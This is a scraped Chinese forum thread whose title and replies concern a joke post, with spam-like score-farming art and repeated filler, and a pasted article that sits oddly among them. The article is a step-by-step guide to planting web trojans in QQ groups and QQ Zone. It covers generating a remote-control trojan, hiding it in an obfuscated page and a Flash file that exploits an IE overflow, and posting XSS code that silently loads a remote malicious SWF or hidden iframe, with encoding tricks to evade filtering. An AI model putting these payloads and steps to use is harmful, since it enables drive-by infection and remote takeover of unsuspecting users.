★★★★★★★★绝对让交警吐血..（搞笑） (44/1442)

   呵呵..
    刚刚看过了..
     无聊,,

椅子坐下看看

大家顶起来啊....

呵呵.. 
    刚刚看过了.. 
     无聊,,

☆如褁︵o妳能愛我勝過我愛妳.こ我゛願意放棄

真强焊！  五体投地了。

真是无语了,节约也不是这样吧!

★⌒給房主~2分⌒★                                           
   ★⌒偶帶走~5分⌒★                                           
   ★⌒偶分比你高⌒★                                           
   ★⌒看贴是爱好⌒★                                           
   ★⌒回贴是习惯⌒★  

没什么说的
 这也忑强了吧!!!

虽然早看过了` 但看你发的那么辛苦`支持你一下

                      额！杀了喃吧！好震撼

看完楼主的这个帖子以后，我的心久久不能平静，震撼啊！为什么会有如此好的帖子！我纵横网络bbs多年，自以为再也不会有任何帖子能打动我，没想到今天看到了如此精妙绝伦的这样一篇帖子。楼主，是你让我深深地理解了“人外有人，天外有天”这句话。谢谢你！在看完这帖子以后，我没有立即回复，因为我生怕我庸俗不堪的回复会玷污了这网上少有的帖子。但是我还是回复了，因为我觉得如果不能在如此精彩的帖子后面留下自己的网名，那我死也不会瞑目的！能够在如此精彩的帖子后面留下自己的网名是多么骄傲的一件事啊！楼主，请原谅我的自私！我知道无论用多么华丽的辞藻来形容楼主您帖子的精彩程度都是不够的，都是虚伪的，所以我只想说一句：您的帖子太好了！我愿意一辈子的看下去！这篇帖子构思新颖，题材独具匠心，段落清晰，情节诡异，跌宕起伏，主线分明，引人入胜，平淡中显示出不凡的文学功底，可谓是字字珠玑，句句经典，是我辈应当学习之典范。就小说艺术的角度而言，这篇帖子可能不算太成功，但它的实验意义却远远大于成功本身。正所谓：“一马奔腾，射雕引弓，天地都在我心中！”楼主真不愧为无厘界新一代的开山怪！本来我已经对这个社区失望了，觉得这个社区没有前途了，心里充满了悲哀。但是看了你的这个帖子，又让我对社区产生了希望。是你让我的心里重新燃起希望之火，是你让我的心死灰复燃，是你拯救了我一颗拨凉拨凉的心！本来我决定不会在社区回任何帖子了，但是看了你的帖子，我告诉自己这个帖子是一定要回的！这是百年难得一见的好贴啊！苍天有眼啊，让我在优生之年得以观得 如此精彩绝伦的帖子！楼主的话真如“大音希声扫阴翳”，犹如“拨开云雾见青天”，使我等网民看到了希望，看到了未来！晴天霹雳，醍醐灌顶或许不足以形容大师文章的万一；巫山行云，长江流水更难以比拟大师的文才！黄钟大吕，振聋发聩！你烛照天下，明见万里；雨露苍生，泽被万方！透过你深邃的文字，我仿佛看到了你鹰视狼顾，龙行虎步的伟岸英姿；仿佛看到了你手执如椽大笔，写天下文章的智慧神态；仿佛看见了你按剑四顾，江山无数的英武气概！楼主，你说的多好啊！我在社区打滚这么多年，所谓阅人无数，见怪不怪了，但一看到楼主的气势，我就觉得楼主同在社区里灌水的那帮小混蛋有着本质的差别，那忧郁的语调，那熟悉的签名，还有字里行间高屋建瓴的辞藻。没用的，楼主，就算你怎么换马甲都是没有用的，你的亿万拥戴者早已经把你认出来了，你一定就是传说中的最强id。自从社区改版之后，我就已经心灰意冷，对社区也没抱什么希望了，传说已经幻灭，神话已经终结，留在社区还有什么意思。没想到，没想到，今天可以再睹楼主的风范，我激动得忍不住就在屏幕前流下了眼泪。是啊，只要在楼主的带领下，社区就有希望了。我的内心再一次沸腾了，我胸腔里的血再一次燃烧

rftuyrtuetrtuirryiy

fsdfsdfs

  藕:"踩哑踩吖.."  

 路亽甲:"踩什麽哑`? "  

   ｍè:"踩蟑螂丫 /|\  弋起踩吖..  "    

笑的我眼泪都出来了。/。肚子都笑痛了 

è:"踩蟑螂丫 /|\  弋起踩

真牛B感觉到无语了呀

厉害,真的会让交警吐血

╭╮ ╭╮ 灬 ╭────────╮                                         
    ╭⌒ ⌒╮^   │嘻嘻,看贴顶贴o○│                                         
 ╭^#·　·#╮│ 养成好习惯'!!!   │                                         
  ╰━━━0━^ ╰────────╯                                         
   ★⌒偶來刷分的⌒★                                         
　 ★⌒給房主~2分⌒★                                         
   ★⌒偶帶走~5分⌒★                                         
   ★⌒偶分比你高⌒★                                         
   ★⌒看贴是爱好⌒★                                         
   ★⌒回贴是习惯⌒★

  ★⌒偶來刷分的⌒★                                          
　 ★⌒給房主~2分⌒★                                          
   ★⌒偶帶走~5分⌒★                                          
   ★⌒偶分比你高⌒★                                          
   ★⌒看贴是爱好⌒★                                          
   ★⌒回贴是习惯⌒★

★⌒偶來刷分的⌒★                                                                  
　★⌒給房主~2分⌒★                                                                  
      ★⌒偶帶走~5分⌒★                                                                  
         ★⌒偶分比你高⌒★                                                                  
            ★⌒看贴是爱好⌒★                                                                  
               ★⌒回贴是习惯⌒★ 

当一切归依平淡！只剩一根烟作陪！ 己所不欲，勿施于人

我的Q吧怎么老是点不亮呀。。。。。
唉。。。还是没恒心呀。。。三天打鱼N天晒网。。。。

　有无数人每天都在使用QQ ，大家往往注重于QQ尾巴病毒、QQ传木马之类的攻击方式，却很少有人注意到我们经常访问的QQ群、QQ空间里面隐藏着更大的安全危险，远比QQ尾巴病毒、QQ传木马之类的隐蔽得多，危害更加大。今天我们就来看看攻击者是如何在QQ群和QQ空间中挂上网页木马，攻击浏览用户的! 

　　一、QQ群中简简单单挂木马 
　　在一个比较火的QQ群里挂上网页木马，一定很容易得到许多肉鸡的。怎么在QQ群里挂马，是在群里面群发木马的网址吗?现在已经不会有人上这样的当了。我们要作的只是在群里面发一个作了手脚的帖子。

　　步骤一：制作网页木马

　　在攻击前，我们首先要制作好一个木马网页。这里笔者使用了“上兴远程控制木马V2006”，这个木马功能非常强，以前笔者曾作过介绍。用上兴生成木马服务端程序“muma.exe”后，将服务端上传到某个网站上去，假设地址为“http://www.*****.com.cn/muma.exe”。

　　打开“南域剑盟网页木马生成器”，在中间的“URL”处填入木马的链接地址，点击“生成”按钮，将会在生成器当前目录下生成一个名为“script.txt”的文件(如图1)。用记事本打开刚才生成的“script.txt”文件，可以看到木马代码，代码是经过加密的，一般人很难看出这是网页木马代码来(如图2)。复制所有代码，然后将代码插入到任意一个正常的网页中，就可以得到一个网页木马了。

　　小提示:将木马代码插入正常的网页中，其位置一般是位于“”标记中间。



图1 用木马生成器生成木马代码



图2 加密的木马代码
　　步骤二：制作SWF木马 

　　在以前的QQ群中，本来只需要发一张带图片的帖子就可以实现挂马的目的。不过现在QQ群也改版了，挂马就需要多一个步骤了，我们还需要将网页木马嵌入Flash文件中。

　　打开“SWF插马工具(Icode To SWF)”，在“SWF文件”中浏览选择本机上的某个正常的Flash文件;在“插入代码”中填写刚才与在的网页木马的链接地址(如图3)。然后点击“给我插”按钮，即可将网页木马链接插入到正常的Flash文件中了。SWF插马工具生成的Flash文件是利用了一个IE漏洞，对方打开Flash文件后，就会造成IE溢出，自动访问木马网页在后台下载运行木马程序。



图3 生成SWF木马

　　步骤三：在QQ群中挂马

　　首先将刚才生成的SWF木马文件上传到某个空间中，然后打开某个QQ群的BBS栏目，点击“发表新文章”。在新文章书写页面中点击“插入Flash”按钮，输入SWF木马文件的网络链接地址及长宽，然后点击后面的小钩按钮，插入Flash文件(如图4)。发表新文章后，当有人在QQ群中打开查看这篇文章时，就会自动播放Flash并在后台下载运行上兴木马服务端了。



图4 在QQ群中发布Flash木马

　　小提示：当然我们也可以直接在QQ群中散布SWF木马文件的网址，别人点击后一样会中木马，不过这种方式不如发布文章隐蔽和效果好，攻击的持续性也不强。
　　
　　
　　二、QQ空间玩挂马
　　自从腾讯推出QQ空间(QQ-zone)后，各种跨站漏洞便不断暴出。虽然腾讯已经对QQ-zone进行了一次全面的更新，禁止了运行自定义脚本，不过通过我们的测试，发现所做的限制是很简单的，只需要转换一下字符就可以突破限制，在QQ空间上任意挂马。

　　方法一：挂Flash木马

　　打开QQ空间后，在页面中点击“自定义”按钮，在弹出的工具条上依次单击“个性设置”→“新建模块”命令，也可在QQ空间页面中直接按下+组合键，打开自定义对话框。在弹出的网页对话框中输入任意“模块名称”，点击“提交”按钮，弹出创建成功的提示框。然后出现“添加内容”对话框，将其中的“网址”、“图片”中自带的“http://”删除，保持“链接名称”为空白。在“评论”中输入如下代码(如图5)： 


　　以下是引用片段：

　　“＜img src="javascript:document.getElementById('Mlogo').innerHTML+='＜div style=\'position:absolute;top:0;left:0;\'>＜EMBED src=\'http://www.binghewu.com.cn/muma.swf\' quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'655\' TYPE=\'application/x-shockwave-flash\'＞＜/div＞';"＞ ”

　　代码中的Flash地址“http://www.binghewu.com.cn/muma.swf”，是刚才制作上传的SWF木马链接地址，可以更改为其它任意Flash木马文件地址。提交代码后，用户进入此QQ空间时，会自动打开显示上传的SWF木马Flash，从而在后台下载运行上兴木马服务端程序。



图5 通过自定义模块添加SWF木马

　　小提示：QQ空间是通过检测用户提交的代码中，是否含用“javascript”之类的字符进行过滤的。在上面的代码中，将脚本部分代码用ASCII编码之后替换躲过了过滤，如“javascript”可以替换为“javascrip”，“p”为“p”的ASCII编码。具体ASCII编码转换可到“http://www.killadm.ful.cn/ascii.asp”查询(如图6)。



图6 通过网页转换字符ASCII码
　　
　　方法二：挂网页木马 
 

　　上面的方法是直接在QQ空间中挂上一个Flash木马文件，实现的方法虽然比较简单，不过这个Flash文件有可能会让别人起疑心。既然我们可以在QQ空间中写入自定义代码，何不干脆直接挂上网页木马呢?

　　用上面同样的方法新建一个模块，代码如下：

　　以下是引用片段：

“＜div id=DI＞＜img src="javascript:DI.innerHTML='＜iframe src="http://www.binghewu.com.cn/muma.htm" width=190 height=190 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no＞＜/iframe＞'" style=display:none＞＜/div＞”


　　同样的，在上面的代码中已经作了ASCII码转换躲过过滤;“http://www.binghewu.com.cn/muma.htm”是网页木马的链接地址，可以换成其它木马网页地址。代码中的其它语句是用来定义模块大小的，由于设置为0，该模块将在QQ空间中被隐藏，但是并不影响木马网页的打开与运行。这里为了说明攻击效果，笔者对代码作了一些修改，将木马网页显示为新浪首页，说明完全可以在QQ空间中打开其它木马网页的(如图7)。



图7 在QQ空间中挂上的新浪页面

　　怎么样，在QQ群和QQ空间中挂马是不是很简单?希望大家在上网的时候注意一下了。

真强焊！  五体投地了。 

★⌒偶來顶下的⌒★                                                                               
　★⌒給房主~2分⌒★                                                                               
      ★⌒偶帶走0.5分⌒★                                                                               
         ★⌒偶分比你低⌒★                                                                               
            ★⌒看贴是爱好⌒★                                                                               
               ★⌒回贴是习惯   

我得意的飘~     
 我得意的飘~     
  我得意的飘~     
   我得意的飘~     
    我得意的飘~     
     我得意的飘~     
      我得意的飘~     
      我得意的飘~     
      我得意的飘~     
     我得意的飘~     
    我得意的飘~     
   我得意的飘~     
  我得意的飘~     
 我得意的飘~     
我得意的飘~     
我得意的飘~     
 我得意的飘~     
  我得意的飘~     
   我得意的飘~     
    我得意的飘~     
     我得意的飘~     
      我得意的飘~     
      我得意的飘~     
     我得意的飘~     
    我得意的飘~     
   我得意的飘~     
  我得意的飘~     
 我得意的飘~     
我得意的飘~     
我得意的飘~     
 我得意的飘~     
  我得意的飘~     
   我得意的飘~     
    我得意的飘~     
     我得意的飘~     
      我得意的飘~     
      我得意的飘~     
      我得意的飘~     
     我得意的飘~     
    我得意的飘~     
   我得意的飘~     
  我得意的飘~     
 我得意的飘~     
我得意的飘~     
我得意的飘~     
 我得意的飘~     
  我得意的飘~     
   我得意的飘~     
    我得意的飘~     
     我得意的飘~     
      我得意的飘~     
      我得意的飘~     
     我得意的飘~     
    我得意的飘~     
   我得意的飘~     
  我得意的飘~     
 我得意的飘~     
我得意的飘~     
我得意的飘~     
 我得意的飘~     
  我得意的飘~     
   我得意的飘~     
    我得意的飘~     
     我得意的飘~     
      我得意的飘~     
      我得意的飘~     
      我得意的飘~     
     我得意的飘~     
    我得意的飘~     
   我得意的飘~     
  我得意的飘~     
 我得意的飘~     
我得意的飘~     
我得意的飘~     
 我得意的飘~     
  我得意的飘~     
   我得意的飘~     
    我得意的飘~     
     我得意的飘~     
      我得意的飘~     
      我得意的飘~     
     我得意的飘~     
    我得意的飘~     
   我得意的飘~     
  我得意的飘~     
 我得意的飘~     
我得意的飘~     
我得意的飘~     
 我得意的飘~     
  我得意的飘~     
   我得意的飘~     
    我得意的飘~     
     我得意的飘~     
      我得意的飘~     
      我得意的飘~     
      我得意的飘~     
     我得意的飘~     
    我得意的飘~     
   我得意的飘~     
  我得意的飘~     
 我得意的飘~     
我得意的飘~     
我得意的飘~     
 我得意的飘~     
  我得意的飘~     
   我得意的飘~     
    我得意的飘~     
     我得意的飘~     
      我得意的飘~     
      我得意的飘~     
     我得意的飘~     
    我得意的飘~     
   我得意的飘~     
  我得意的飘~     
 我得意的飘~     
我得意的飘~     
我得意的飘~     
 我得意的飘~     
  我得意的飘~     
   我得意的飘~     
    我得意的飘~     
     我得意的飘~     
      我得意的飘~     
      我得意的飘~     
      我得意的飘~     
     我得意的飘~     
    我得意的飘~     
   我得意的飘~     
  我得意的飘~     
 我得意的飘~     
我得意的飘~     
我得意的飘~     
 我得意的飘~     
  我得意的飘~     
   我得意的飘~     
    我得意的飘~     
     我得意的飘~     
      我得意的飘~     
      我得意的飘~     
     我得意的飘~     
    我得意的飘~     
   我得意的飘~     
  我得意的飘~     
 我得意的飘~     
我得意的飘~     
我得意的飘~